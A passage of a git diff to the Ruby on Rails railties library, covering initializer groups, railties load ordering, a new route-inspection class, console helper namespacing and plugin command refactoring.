- assert_match /Hi friend@example.com/, invite_email.body
+ assert_match(/Hi friend@example.com/, invite_email.body)
end
end
</ruby>
@@ -945,11 +945,3 @@ The built-in +test/unit+ based testing is not the only way to test Rails applica
* "Machinist":https://github.com/notahat/machinist/tree/master, another replacement for fixtures.
* "Shoulda":http://www.thoughtbot.com/projects/shoulda, an extension to +test/unit+ with additional helpers, macros, and assertions.
* "RSpec":http://relishapp.com/rspec, a behavior-driven development framework
-
-h3. Changelog
-
-* April 4, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com
-* November 13, 2008: Revised based on feedback from Pratik Naik by "Akshay Surve":credits.html#asurve (not yet approved for publication)
-* October 14, 2008: Edit and formatting pass by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication)
-* October 12, 2008: First draft by "Akshay Surve":credits.html#asurve (not yet approved for publication)
-
diff --git a/railties/lib/rails.rb b/railties/lib/rails.rb
index de412553aa..73bdd0b552 100644
--- a/railties/lib/rails.rb
+++ b/railties/lib/rails.rb
@@ -22,8 +22,10 @@ require 'action_dispatch/railtie'
if RUBY_VERSION < '1.9'
$KCODE='u'
else
- Encoding.default_external = Encoding::UTF_8
- Encoding.default_internal = Encoding::UTF_8
+ silence_warnings do
+ Encoding.default_external = Encoding::UTF_8
+ Encoding.default_internal = Encoding::UTF_8
+ end
end
module Rails
diff --git a/railties/lib/rails/application.rb b/railties/lib/rails/application.rb
index fb60ddd9b5..2a62446a04 100644
--- a/railties/lib/rails/application.rb
+++ b/railties/lib/rails/application.rb
@@ -55,6 +55,11 @@ module Rails
delegate :default_url_options, :default_url_options=, :to => :routes
+ def initialize
+ super
+ @initialized = false
+ end
+
# This method is called just after an application inherits from Rails::Application,
# allowing the developer to load classes in lib and use them during application
# configuration.
@@ -78,7 +83,6 @@ module Rails
require environment if environment
end
-
def reload_routes!
routes_reloader.reload!
end
@@ -87,9 +91,9 @@ module Rails
@routes_reloader ||= RoutesReloader.new
end
- def initialize!
+ def initialize!(group=:default)
raise "Application has been already initialized." if @initialized
- run_initializers(self)
+ run_initializers(group, self)
@initialized = true
self
end
@@ -119,10 +123,34 @@ module Rails
@env_config ||= super.merge({
"action_dispatch.parameter_filter" => config.filter_parameters,
"action_dispatch.secret_token" => config.secret_token,
- "action_dispatch.show_exceptions" => config.action_dispatch.show_exceptions
+ "action_dispatch.show_exceptions" => config.action_dispatch.show_exceptions,
+ "action_dispatch.logger" => Rails.logger,
+ "action_dispatch.backtrace_cleaner" => Rails.backtrace_cleaner
})
end
+ def ordered_railties
+ @ordered_railties ||= begin
+ order = config.railties_order.map do |railtie|
+ if railtie == :main_app
+ self
+ elsif railtie.respond_to?(:instance)
+ railtie.instance
+ else
+ railtie
+ end
+ end
+
+ all = (railties.all - order)
+ all.push(self) unless all.include?(self)
+ order.push(:all) unless order.include?(:all)
+
+ index = order.index(:all)
+ order[index] = all
+ order.reverse.flatten
+ end
+ end
+
def initializers
Bootstrap.initializers_for(self) +
super +
@@ -137,6 +165,10 @@ module Rails
self
end
+ def helpers_paths
+ config.helpers_paths
+ end
+
protected
alias :build_middleware_stack :app
@@ -150,7 +182,7 @@ module Rails
if config.force_ssl
require "rack/ssl"
- middleware.use ::Rack::SSL
+ middleware.use ::Rack::SSL, config.ssl_options
end
if config.serve_static_assets
@@ -160,8 +192,9 @@ module Rails
middleware.use ::Rack::Lock unless config.allow_concurrency
middleware.use ::Rack::Runtime
middleware.use ::Rack::MethodOverride
- middleware.use ::Rails::Rack::Logger # must come after Rack::MethodOverride to properly log overridden methods
- middleware.use ::ActionDispatch::ShowExceptions, config.consider_all_requests_local
+ middleware.use ::ActionDispatch::RequestId
+ middleware.use ::Rails::Rack::Logger, config.log_tags # must come after Rack::MethodOverride to properly log overridden methods
+ middleware.use ::ActionDispatch::ShowExceptions
middleware.use ::ActionDispatch::RemoteIp, config.action_dispatch.ip_spoofing_check, config.action_dispatch.trusted_proxies
if config.action_dispatch.x_sendfile_header.present?
middleware.use ::Rack::Sendfile, config.action_dispatch.x_sendfile_header
diff --git a/railties/lib/rails/application/bootstrap.rb b/railties/lib/rails/application/bootstrap.rb
index 9f21d273e6..c2cb121e42 100644
--- a/railties/lib/rails/application/bootstrap.rb
+++ b/railties/lib/rails/application/bootstrap.rb
@@ -7,29 +7,29 @@ module Rails
module Bootstrap
include Initializable
- initializer :load_environment_hook do end
+ initializer :load_environment_hook, :group => :all do end
- initializer :load_active_support do
+ initializer :load_active_support, :group => :all do
require "active_support/all" unless config.active_support.bare
end
# Preload all frameworks specified by the Configuration#frameworks.
# Used by Passenger to ensure everything's loaded before forking and
# to avoid autoload race conditions in JRuby.
- initializer :preload_frameworks do
+ initializer :preload_frameworks, :group => :all do
ActiveSupport::Autoload.eager_autoload! if config.preload_frameworks
end
# Initialize the logger early in the stack in case we need to log some deprecation.
- initializer :initialize_logger do
+ initializer :initialize_logger, :group => :all do
Rails.logger ||= config.logger || begin
path = config.paths["log"].first
- logger = ActiveSupport::BufferedLogger.new(path)
+ logger = ActiveSupport::TaggedLogging.new(ActiveSupport::BufferedLogger.new(path))
logger.level = ActiveSupport::BufferedLogger.const_get(config.log_level.to_s.upcase)
logger.auto_flushing = false if Rails.env.production?
logger
- rescue StandardError => e
- logger = ActiveSupport::BufferedLogger.new(STDERR)
+ rescue StandardError
+ logger = ActiveSupport::TaggedLogging.new(ActiveSupport::BufferedLogger.new(STDERR))
logger.level = ActiveSupport::BufferedLogger::WARN
logger.warn(
"Rails Error: Unable to access log file. Please ensure that #{path} exists and is chmod 0666. " +
@@ -41,7 +41,7 @@ module Rails
end
# Initialize cache early in the stack so railties can make use of it.
- initializer :initialize_cache do
+ initializer :initialize_cache, :group => :all do
unless defined?(RAILS_CACHE)
silence_warnings { Object.const_set "RAILS_CACHE", ActiveSupport::Cache.lookup_store(config.cache_store) }
@@ -51,7 +51,7 @@ module Rails
end
end
- initializer :set_clear_dependencies_hook do
+ initializer :set_clear_dependencies_hook, :group => :all do
ActionDispatch::Reloader.to_cleanup do
ActiveSupport::DescendantsTracker.clear
ActiveSupport::Dependencies.clear
@@ -60,11 +60,11 @@ module Rails
# Sets the dependency loading mechanism.
# TODO: Remove files from the $" and always use require.
- initializer :initialize_dependency_mechanism do
+ initializer :initialize_dependency_mechanism, :group => :all do
ActiveSupport::Dependencies.mechanism = config.cache_classes ? :require : :load
end
- initializer :bootstrap_hook do |app|
+ initializer :bootstrap_hook, :group => :all do |app|
ActiveSupport.run_load_hooks(:before_initialize, app)
end
end
diff --git a/railties/lib/rails/application/configuration.rb b/railties/lib/rails/application/configuration.rb
index 975e159999..e95b0f5495 100644
--- a/railties/lib/rails/application/configuration.rb
+++ b/railties/lib/rails/application/configuration.rb
@@ -1,4 +1,5 @@
require 'active_support/core_ext/string/encoding'
+require 'active_support/core_ext/kernel/reporting'
require 'rails/engine/configuration'
module Rails
@@ -6,12 +7,14 @@ module Rails
class Configuration < ::Rails::Engine::Configuration
attr_accessor :allow_concurrency, :asset_host, :asset_path, :assets,
:cache_classes, :cache_store, :consider_all_requests_local,
- :dependency_loading, :encoding, :filter_parameters,
- :force_ssl, :helpers_paths, :logger, :preload_frameworks,
+ :dependency_loading, :filter_parameters,
+ :force_ssl, :helpers_paths, :logger, :log_tags, :preload_frameworks,
:reload_plugins, :secret_token, :serve_static_assets,
- :static_cache_control, :session_options, :time_zone, :whiny_nils
+ :ssl_options, :static_cache_control, :session_options,
+ :time_zone, :whiny_nils, :railties_order
attr_writer :log_level
+ attr_reader :encoding
def initialize(*)
super
@@ -24,6 +27,7 @@ module Rails
@serve_static_assets = true
@static_cache_control = nil
@force_ssl = false
+ @ssl_options = {}
@session_store = :cookie_store
@session_options = {}
@time_zone = "UTC"
@@ -31,16 +35,23 @@ module Rails
@middleware = app_middleware
@generators = app_generators
@cache_store = [ :file_store, "#{root}/tmp/cache/" ]
+ @railties_order = [:all]
@assets = ActiveSupport::OrderedOptions.new
- @assets.enabled = false
- @assets.paths = []
- @assets.precompile = [ /\w+\.(?!js|css).+/, /application.(css|js)$/ ]
- @assets.prefix = "/assets"
-
- @assets.cache_store = [ :file_store, "#{root}/tmp/cache/assets/" ]
- @assets.js_compressor = nil
- @assets.css_compressor = nil
+ @assets.enabled = false
+ @assets.paths = []
+ @assets.precompile = [ Proc.new{ |path| !File.extname(path).in?(['.js', '.css']) },
+ /(?:\/|\\|\A)application\.(css|js)$/ ]
+ @assets.prefix = "/assets"
+ @assets.version = ''
+ @assets.debug = false
+ @assets.compile = true
+ @assets.digest = false
+ @assets.manifest = nil
+ @assets.cache_store = [ :file_store, "#{root}/tmp/cache/assets/" ]
+ @assets.js_compressor = nil
+ @assets.css_compressor = nil
+ @assets.initialize_on_precompile = true
end
def compiled_asset_path
@@ -50,8 +61,10 @@ module Rails
def encoding=(value)
@encoding = value
if "ruby".encoding_aware?
- Encoding.default_external = value
- Encoding.default_internal = value
+ silence_warnings do
+ Encoding.default_external = value
+ Encoding.default_internal = value
+ end
else
$KCODE = value
if $KCODE == "NONE"
diff --git a/railties/lib/rails/application/finisher.rb b/railties/lib/rails/application/finisher.rb
index 028c8814c4..fc7d205a6f 100644
--- a/railties/lib/rails/application/finisher.rb
+++ b/railties/lib/rails/application/finisher.rb
@@ -2,6 +2,7 @@ module Rails
class Application
module Finisher
include Initializable
+ $rails_rake_task = nil
initializer :add_generator_templates do
config.generators.templates.unshift(*paths["lib/templates"].existent)
diff --git a/railties/lib/rails/application/route_inspector.rb b/railties/lib/rails/application/route_inspector.rb
new file mode 100644
index 0000000000..26652a8e5e
--- /dev/null
+++ b/railties/lib/rails/application/route_inspector.rb
@@ -0,0 +1,75 @@
+module Rails
+ class Application
+ ##
+ # This class is just used for displaying route information when someone
+ # executes `rake routes`. People should not use this class.
+ class RouteInspector # :nodoc:
+ def initialize
+ @engines = ActiveSupport::OrderedHash.new
+ end
+
+ def format all_routes, filter = nil
+ if filter
+ all_routes = all_routes.select{ |route| route.defaults[:controller] == filter }
+ end
+
+ routes = collect_routes(all_routes)
+
+ formatted_routes(routes) +
+ formatted_routes_for_engines
+ end
+
+ def collect_routes(routes)
+ routes = routes.collect do |route|
+ route_reqs = route.requirements
+
+ rack_app = route.app unless route.app.class.name.to_s =~ /^ActionDispatch::Routing/
+
+ controller = route_reqs[:controller] || ':controller'
+ action = route_reqs[:action] || ':action'
+
+ endpoint = rack_app ? rack_app.inspect : "#{controller}##{action}"
+ constraints = route_reqs.except(:controller, :action)
+
+ reqs = endpoint
+ reqs += " #{constraints.inspect}" unless constraints.empty?
+
+ verb = route.verb.source.gsub(/[$^]/, '')
+
+ collect_engine_routes(reqs, rack_app)
+
+ {:name => route.name.to_s, :verb => verb, :path => route.path.spec.to_s, :reqs => reqs }
+ end
+
+ # Skip the route if it's internal info route
+ routes.reject { |r| r[:path] =~ %r{/rails/info/properties|^/assets} }
+ end
+
+ def collect_engine_routes(name, rack_app)
+ return unless rack_app && rack_app.respond_to?(:routes)
+ return if @engines[name]
+
+ routes = rack_app.routes
+ if routes.is_a?(ActionDispatch::Routing::RouteSet)
+ @engines[name] = collect_routes(routes.routes)
+ end
+ end
+
+ def formatted_routes_for_engines
+ @engines.map do |name, routes|
+ ["\nRoutes for #{name}:"] + formatted_routes(routes)
+ end.flatten
+ end
+
+ def formatted_routes(routes)
+ name_width = routes.map{ |r| r[:name].length }.max
+ verb_width = routes.map{ |r| r[:verb].length }.max
+ path_width = routes.map{ |r| r[:path].length }.max
+
+ routes.map do |r|
+ "#{r[:name].rjust(name_width)} #{r[:verb].ljust(verb_width)} #{r[:path].ljust(path_width)} #{r[:reqs]}"
+ end
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/code_statistics.rb b/railties/lib/rails/code_statistics.rb
index e6822b75b7..435ea83ad8 100644
--- a/railties/lib/rails/code_statistics.rb
+++ b/railties/lib/rails/code_statistics.rb
@@ -38,11 +38,22 @@ class CodeStatistics #:nodoc:
next unless file_name =~ pattern
f = File.open(directory + "/" + file_name)
-
+ comment_started = false
while line = f.gets
stats["lines"] += 1
- stats["classes"] += 1 if line =~ /class [A-Z]/
- stats["methods"] += 1 if line =~ /def [a-z]/
+ if(comment_started)
+ if line =~ /^=end/
+ comment_started = false
+ end
+ next
+ else
+ if line =~ /^=begin/
+ comment_started = true
+ next
+ end
+ end
+ stats["classes"] += 1 if line =~ /^\s*class\s+[_A-Z]/
+ stats["methods"] += 1 if line =~ /^\s*def\s+[_a-z]/
stats["codelines"] += 1 unless line =~ /^\s*$/ || line =~ /^\s*#/
end
end
diff --git a/railties/lib/rails/commands.rb b/railties/lib/rails/commands.rb
index a21484e5cb..ada150ceec 100644
--- a/railties/lib/rails/commands.rb
+++ b/railties/lib/rails/commands.rb
@@ -4,6 +4,7 @@ ARGV << '--help' if ARGV.empty?
aliases = {
"g" => "generate",
+ "d" => "destroy",
"c" => "console",
"s" => "server",
"db" => "dbconsole",
@@ -87,7 +88,7 @@ The most common rails commands are:
In addition to those, there are:
application Generate the Rails application code
- destroy Undo code generated with "generate"
+ destroy Undo code generated with "generate" (short-cut alias: "d")
benchmarker See how fast a piece of code runs
profiler Get profile information from a piece of code
plugin Install a plugin
diff --git a/railties/lib/rails/commands/application.rb b/railties/lib/rails/commands/application.rb
index 1cf23a8b92..60d1aed73a 100644
--- a/railties/lib/rails/commands/application.rb
+++ b/railties/lib/rails/commands/application.rb
@@ -9,6 +9,14 @@ if ARGV.first != "new"
ARGV[0] = "--help"
else
ARGV.shift
+ railsrc = File.join(File.expand_path("~"), ".railsrc")
+ if File.exist?(railsrc)
+ extra_args_string = File.open(railsrc).read
+ extra_args = extra_args_string.split(/\n+/).map {|l| l.split}.flatten
+ puts "Using #{extra_args.join(" ")} from #{railsrc}"
+ ARGV << extra_args
+ ARGV.flatten!
+ end
end
require 'rubygems' if ARGV.include?("--dev")
diff --git a/railties/lib/rails/commands/console.rb b/railties/lib/rails/commands/console.rb
index 32e361d421..7733a8f116 100644
--- a/railties/lib/rails/commands/console.rb
+++ b/railties/lib/rails/commands/console.rb
@@ -42,6 +42,8 @@ module Rails
else
puts "Loading #{Rails.env} environment (Rails #{Rails.version})"
end
+
+ IRB::ExtendCommandBundle.send :include, Rails::ConsoleMethods
IRB.start
end
end
diff --git a/railties/lib/rails/commands/dbconsole.rb b/railties/lib/rails/commands/dbconsole.rb
index b0ba76217a..4b0acc9d88 100644
--- a/railties/lib/rails/commands/dbconsole.rb
+++ b/railties/lib/rails/commands/dbconsole.rb
@@ -33,7 +33,7 @@ module Rails
options['mode'] = mode
end
- opt.on("-h", "--header") do |h|
+ opt.on("--header") do |h|
options['header'] = h
end
diff --git a/railties/lib/rails/commands/plugin.rb b/railties/lib/rails/commands/plugin.rb
index 4df849447d..c99a2e6685 100644
--- a/railties/lib/rails/commands/plugin.rb
+++ b/railties/lib/rails/commands/plugin.rb
@@ -274,198 +274,200 @@ end
# load default environment and parse arguments
require 'optparse'
-module Commands
- class Plugin
- attr_reader :environment, :script_name
- def initialize
- @environment = RailsEnvironment.default
- @rails_root = RailsEnvironment.default.root
- @script_name = File.basename($0)
- end
+module Rails
+ module Commands
+ class Plugin
+ attr_reader :environment, :script_name
+ def initialize
+ @environment = RailsEnvironment.default
+ @rails_root = RailsEnvironment.default.root
+ @script_name = File.basename($0)
+ end
- def environment=(value)
- @environment = value
- RailsEnvironment.default = value
- end
+ def environment=(value)
+ @environment = value
+ RailsEnvironment.default = value
+ end
- def options
- OptionParser.new do |o|
- o.set_summary_indent(' ')
- o.banner = "Usage: plugin [OPTIONS] command"
- o.define_head "Rails plugin manager."
+ def options
+ OptionParser.new do |o|
+ o.set_summary_indent(' ')
+ o.banner = "Usage: plugin [OPTIONS] command"
+ o.define_head "Rails plugin manager."
- o.separator ""
- o.separator "GENERAL OPTIONS"
+ o.separator ""
+ o.separator "GENERAL OPTIONS"
- o.on("-r", "--root=DIR", String,
- "Set an explicit rails app directory.",
- "Default: #{@rails_root}") { |rails_root| @rails_root = rails_root; self.environment = RailsEnvironment.new(@rails_root) }
+ o.on("-r", "--root=DIR", String,
+ "Set an explicit rails app directory.",
+ "Default: #{@rails_root}") { |rails_root| @rails_root = rails_root; self.environment = RailsEnvironment.new(@rails_root) }
- o.on("-v", "--verbose", "Turn on verbose output.") { |verbose| $verbose = verbose }
- o.on("-h", "--help", "Show this help message.") { puts o; exit }
+ o.on("-v", "--verbose", "Turn on verbose output.") { |verbose| $verbose = verbose }
+ o.on("-h", "--help", "Show this help message.") { puts o; exit }
- o.separator ""
- o.separator "COMMANDS"
+ o.separator ""
+ o.separator "COMMANDS"
- o.separator " install Install plugin(s) from known repositories or URLs."
- o.separator " remove Uninstall plugins."
+ o.separator " install Install plugin(s) from known repositories or URLs."
+ o.separator " remove Uninstall plugins."
- o.separator ""
- o.separator "EXAMPLES"
- o.separator " Install a plugin from a subversion URL:"
- o.separator " #{@script_name} plugin install http://example.com/my_svn_plugin\n"
- o.separator " Install a plugin from a git URL:"
- o.separator " #{@script_name} plugin install git://github.com/SomeGuy/my_awesome_plugin.git\n"
- o.separator " Install a plugin and add a svn:externals entry to vendor/plugins"
- o.separator " #{@script_name} plugin install -x my_svn_plugin\n"
+ o.separator ""
+ o.separator "EXAMPLES"
+ o.separator " Install a plugin from a subversion URL:"
+ o.separator " #{@script_name} plugin install http://example.com/my_svn_plugin\n"
+ o.separator " Install a plugin from a git URL:"
+ o.separator " #{@script_name} plugin install git://github.com/SomeGuy/my_awesome_plugin.git\n"
+ o.separator " Install a plugin and add a svn:externals entry to vendor/plugins"
+ o.separator " #{@script_name} plugin install -x my_svn_plugin\n"
+ end
end
- end
- def parse!(args=ARGV)
- general, sub = split_args(args)
- options.parse!(general)
+ def parse!(args=ARGV)
+ general, sub = split_args(args)
+ options.parse!(general)
- command = general.shift
- if command =~ /^(install|remove)$/
- command = Commands.const_get(command.capitalize).new(self)
- command.parse!(sub)
- else
- puts "Unknown command: #{command}" unless command.blank?
- puts options
- exit 1
+ command = general.shift
+ if command =~ /^(install|remove)$/
+ command = Commands.const_get(command.capitalize).new(self)
+ command.parse!(sub)
+ else
+ puts "Unknown command: #{command}" unless command.blank?
+ puts options
+ exit 1
+ end
end
- end
- def split_args(args)
- left = []
- left << args.shift while args[0] and args[0] =~ /^-/
- left << args.shift if args[0]
- [left, args]
- end
-
- def self.parse!(args=ARGV)
- Plugin.new.parse!(args)
- end
- end
+ def split_args(args)
+ left = []
+ left << args.shift while args[0] and args[0] =~ /^-/
+ left << args.shift if args[0]
+ [left, args]
+ end
- class Install
- def initialize(base_command)
- @base_command = base_command
- @method = :http
- @options = { :quiet => false, :revision => nil, :force => false }
+ def self.parse!(args=ARGV)
+ Plugin.new.parse!(args)
+ end
end
- def options
- OptionParser.new do |o|
- o.set_summary_indent(' ')
- o.banner = "Usage: #{@base_command.script_name} install PLUGIN [PLUGIN [PLUGIN] ...]"
- o.define_head "Install one or more plugins."
- o.separator ""
- o.separator "Options:"
- o.on( "-x", "--externals",
- "Use svn:externals to grab the plugin.",
- "Enables plugin updates and plugin versioning.") { |v| @method = :externals }
- o.on( "-o", "--checkout",
- "Use svn checkout to grab the plugin.",
- "Enables updating but does not add a svn:externals entry.") { |v| @method = :checkout }
- o.on( "-e", "--export",
- "Use svn export to grab the plugin.",
- "Exports the plugin, allowing you to check it into your local repository. Does not enable updates or add an svn:externals entry.") { |v| @method = :export }
- o.on( "-q", "--quiet",
- "Suppresses the output from installation.",
- "Ignored if -v is passed (rails plugin -v install ...)") { |v| @options[:quiet] = true }
- o.on( "-r REVISION", "--revision REVISION",
- "Checks out the given revision from subversion or git.",
- "Ignored if subversion/git is not used.") { |v| @options[:revision] = v }
- o.on( "-f", "--force",
- "Reinstalls a plugin if it's already installed.") { |v| @options[:force] = true }
- o.separator ""
- o.separator "You can specify plugin names as given in 'plugin list' output or absolute URLs to "
- o.separator "a plugin repository."
+ class Install
+ def initialize(base_command)
+ @base_command = base_command
+ @method = :http
+ @options = { :quiet => false, :revision => nil, :force => false }
end
- end
- def determine_install_method
- best = @base_command.environment.best_install_method
- @method = :http if best == :http and @method == :export
- case
- when (best == :http and @method != :http)
- msg = "Cannot install using subversion because `svn' cannot be found in your PATH"
- when (best == :export and (@method != :export and @method != :http))
- msg = "Cannot install using #{@method} because this project is not under subversion."
- when (best != :externals and @method == :externals)
- msg = "Cannot install using externals because vendor/plugins is not under subversion."
+ def options
+ OptionParser.new do |o|
+ o.set_summary_indent(' ')
+ o.banner = "Usage: #{@base_command.script_name} install PLUGIN [PLUGIN [PLUGIN] ...]"
+ o.define_head "Install one or more plugins."
+ o.separator ""
+ o.separator "Options:"
+ o.on( "-x", "--externals",
+ "Use svn:externals to grab the plugin.",
+ "Enables plugin updates and plugin versioning.") { |v| @method = :externals }
+ o.on( "-o", "--checkout",
+ "Use svn checkout to grab the plugin.",
+ "Enables updating but does not add a svn:externals entry.") { |v| @method = :checkout }
+ o.on( "-e", "--export",
+ "Use svn export to grab the plugin.",
+ "Exports the plugin, allowing you to check it into your local repository. Does not enable updates or add an svn:externals entry.") { |v| @method = :export }
+ o.on( "-q", "--quiet",
+ "Suppresses the output from installation.",
+ "Ignored if -v is passed (rails plugin -v install ...)") { |v| @options[:quiet] = true }
+ o.on( "-r REVISION", "--revision REVISION",
+ "Checks out the given revision from subversion or git.",
+ "Ignored if subversion/git is not used.") { |v| @options[:revision] = v }
+ o.on( "-f", "--force",
+ "Reinstalls a plugin if it's already installed.") { |v| @options[:force] = true }
+ o.separator ""
+ o.separator "You can specify plugin names as given in 'plugin list' output or absolute URLs to "
+ o.separator "a plugin repository."
+ end
end
- if msg
- puts msg
- exit 1
+
+ def determine_install_method
+ best = @base_command.environment.best_install_method
+ @method = :http if best == :http and @method == :export
+ case
+ when (best == :http and @method != :http)
+ msg = "Cannot install using subversion because `svn' cannot be found in your PATH"
+ when (best == :export and (@method != :export and @method != :http))
+ msg = "Cannot install using #{@method} because this project is not under subversion."
+ when (best != :externals and @method == :externals)
+ msg = "Cannot install using externals because vendor/plugins is not under subversion."
+ end
+ if msg
+ puts msg
+ exit 1
+ end
+ @method
end
- @method
- end
- def parse!(args)
- options.parse!(args)
- if args.blank?
- puts options
+ def parse!(args)
+ options.parse!(args)
+ if args.blank?
+ puts options
+ exit 1
+ end
+ environment = @base_command.environment
+ install_method = determine_install_method
+ puts "Plugins will be installed using #{install_method}" if $verbose
+ args.each do |name|
+ ::Plugin.find(name).install(install_method, @options)
+ end
+ rescue StandardError => e
+ puts "Plugin not found: #{args.inspect}"
+ puts e.inspect if $verbose
exit 1
end
- environment = @base_command.environment
- install_method = determine_install_method
- puts "Plugins will be installed using #{install_method}" if $verbose
- args.each do |name|
- ::Plugin.find(name).install(install_method, @options)
- end
- rescue StandardError => e
- puts "Plugin not found: #{args.inspect}"
- puts e.inspect if $verbose
- exit 1
- end
- end
-
- class Remove
- def initialize(base_command)
- @base_command = base_command
end
- def options
- OptionParser.new do |o|
- o.set_summary_indent(' ')
- o.banner = "Usage: #{@base_command.script_name} remove name [name]..."
- o.define_head "Remove plugins."
+ class Remove
+ def initialize(base_command)
+ @base_command = base_command
end
- end
- def parse!(args)
- options.parse!(args)
- if args.blank?
- puts options
- exit 1
+ def options
+ OptionParser.new do |o|
+ o.set_summary_indent(' ')
+ o.banner = "Usage: #{@base_command.script_name} remove name [name]..."
+ o.define_head "Remove plugins."
+ end
end
- root = @base_command.environment.root
- args.each do |name|
- ::Plugin.new(name).uninstall
+
+ def parse!(args)
+ options.parse!(args)
+ if args.blank?
+ puts options
+ exit 1
+ end
+ root = @base_command.environment.root
+ args.each do |name|
+ ::Plugin.new(name).uninstall
+ end
end
end
- end
- class Info
- def initialize(base_command)
- @base_command = base_command
- end
+ class Info
+ def initialize(base_command)
+ @base_command = base_command
+ end
- def options
- OptionParser.new do |o|
- o.set_summary_indent(' ')
- o.banner = "Usage: #{@base_command.script_name} info name [name]..."
- o.define_head "Shows plugin info at {url}/about.yml."
+ def options
+ OptionParser.new do |o|
+ o.set_summary_indent(' ')
+ o.banner = "Usage: #{@base_command.script_name} info name [name]..."
+ o.define_head "Shows plugin info at {url}/about.yml."
+ end
end
- end
- def parse!(args)
- options.parse!(args)
- args.each do |name|
- puts ::Plugin.find(name).info
- puts
+ def parse!(args)
+ options.parse!(args)
+ args.each do |name|
+ puts ::Plugin.find(name).info
+ puts
+ end
end
end
end
@@ -539,4 +541,4 @@ class RecursiveHTTPFetcher
end
end
-Commands::Plugin.parse!
+Rails::Commands::Plugin.parse!
diff --git a/railties/lib/rails/commands/server.rb b/railties/lib/rails/commands/server.rb
index 23392276d5..20484a10c8 100644
--- a/railties/lib/rails/commands/server.rb
+++ b/railties/lib/rails/commands/server.rb
@@ -78,7 +78,7 @@ module Rails
middlewares = []
middlewares << [Rails::Rack::LogTailer, log_path] unless options[:daemonize]
middlewares << [Rails::Rack::Debugger] if options[:debugger]
- middlewares << [Rails::Rack::ContentLength]
+ middlewares << [::Rack::ContentLength]
Hash.new(middlewares)
end
diff --git a/railties/lib/rails/console/app.rb b/railties/lib/rails/console/app.rb
index 95c74baae2..23d57379ba 100644
--- a/railties/lib/rails/console/app.rb
+++ b/railties/lib/rails/console/app.rb
@@ -5,28 +5,32 @@ require 'action_controller'
# work around the at_exit hook in test/unit, which kills IRB
Test::Unit.run = true if Test::Unit.respond_to?(:run=)
-# reference the global "app" instance, created on demand. To recreate the
-# instance, pass a non-false value as the parameter.
-def app(create=false)
- @app_integration_instance = nil if create
- @app_integration_instance ||= new_session do |sess|
- sess.host! "www.example.com"
- end
-end
+module Rails
+ module ConsoleMethods
+ # reference the global "app" instance, created on demand. To recreate the
+ # instance, pass a non-false value as the parameter.
+ def app(create=false)
+ @app_integration_instance = nil if create
+ @app_integration_instance ||= new_session do |sess|
+ sess.host! "www.example.com"
+ end
+ end
-# create a new session. If a block is given, the new session will be yielded
-# to the block before being returned.
-def new_session
- app = Rails.application
- session = ActionDispatch::Integration::Session.new(app)
- yield session if block_given?
- session
-end
+ # create a new session. If a block is given, the new session will be yielded
+ # to the block before being returned.
+ def new_session
+ app = Rails.application
+ session = ActionDispatch::Integration::Session.new(app)
+ yield session if block_given?
+ session
+ end
-# reloads the environment
-def reload!(print=true)
- puts "Reloading..." if print
- ActionDispatch::Reloader.cleanup!
- ActionDispatch::Reloader.prepare!
- true
+ # reloads the environment
+ def reload!(print=true)
+ puts "Reloading..." if print
+ ActionDispatch::Reloader.cleanup!
+ ActionDispatch::Reloader.prepare!
+ true
+ end
+ end
end
diff --git a/railties/lib/rails/console/helpers.rb b/railties/lib/rails/console/helpers.rb
index 212fc6125a..230d3d9d04 100644
--- a/railties/lib/rails/console/helpers.rb
+++ b/railties/lib/rails/console/helpers.rb
@@ -1,7 +1,11 @@
-def helper
- @helper ||= ApplicationController.helpers
-end
+module Rails
+ module ConsoleMethods
+ def helper
+ @helper ||= ApplicationController.helpers
+ end
-def controller
- @controller ||= ApplicationController.new
+ def controller
+ @controller ||= ApplicationController.new
+ end
+ end
end
diff --git a/railties/lib/rails/engine.rb b/railties/lib/rails/engine.rb
index c41f7d7c2e..5c1af99fe2 100644
--- a/railties/lib/rails/engine.rb
+++ b/railties/lib/rails/engine.rb
@@ -296,16 +296,16 @@ module Rails
# If you want to share just a few specific helpers you can add them to application's
# helpers in ApplicationController:
#
- # class ApplicationController < ActionController::Base
- # helper MyEngine::SharedEngineHelper
- # end
+ # class ApplicationController < ActionController::Base
+ # helper MyEngine::SharedEngineHelper
+ # end
#
# If you want to include all of the engine's helpers, you can use #helpers method on an engine's
# instance:
#
- # class ApplicationController < ActionController::Base
- # helper MyEngine::Engine.helpers
- # end
+ # class ApplicationController < ActionController::Base
+ # helper MyEngine::Engine.helpers
+ # end
#
# It will include all of the helpers from engine's directory. Take into account that this does
# not include helpers defined in controllers with helper_method or other similar solutions,
@@ -330,6 +330,17 @@ module Rails
#
# MyEngine::Engine.load_seed
#
+ # == Loading priority
+ #
+ # In order to change engine's priority you can use config.railties_order in main application.
+ # It will affect the priority of loading views, helpers, assets and all the other files
+ # related to engine or application.
+ #
+ # Example:
+ #
+ # # load Blog::Engine with highest priority, followed by application and other railties
+ # config.railties_order = [Blog::Engine, :main_app, :all]
+ #
class Engine < Railtie
autoload :Configuration, "rails/engine/configuration"
autoload :Railties, "rails/engine/railties"
@@ -360,6 +371,7 @@ module Rails
end
def endpoint(endpoint = nil)
+ @endpoint ||= nil
@endpoint = endpoint if endpoint
@endpoint
end
@@ -370,20 +382,28 @@ module Rails
self.routes.default_scope = { :module => ActiveSupport::Inflector.underscore(mod.name) }
self.isolated = true
- unless mod.respond_to?(:_railtie)
- name = engine_name
- _railtie = self
+ unless mod.respond_to?(:railtie_namespace)
+ name, railtie = engine_name, self
+
mod.singleton_class.instance_eval do
- define_method(:_railtie) do
- _railtie
- end
+ define_method(:railtie_namespace) { railtie }
unless mod.respond_to?(:table_name_prefix)
- define_method(:table_name_prefix) do
- "#{name}_"
- end
+ define_method(:table_name_prefix) { "#{name}_" }
+ end
+
+ unless mod.respond_to?(:use_relative_model_naming?)
+ class_eval "def use_relative_model_naming?; true; end", __FILE__, __LINE__
+ end
+
+ unless mod.respond_to?(:railtie_helpers_paths)
+ define_method(:railtie_helpers_paths) { railtie.helpers_paths }
+ end
+
+ unless mod.respond_to?(:railtie_routes_url_helpers)
+ define_method(:railtie_routes_url_helpers) { railtie.routes_url_helpers }
end
- end
+ end
end
end
@@ -428,13 +448,6 @@ module Rails
def helpers
@helpers ||= begin
helpers = Module.new
-
- helpers_paths = if config.respond_to?(:helpers_paths)
- config.helpers_paths
- else
- paths["app/helpers"].existent
- end
-
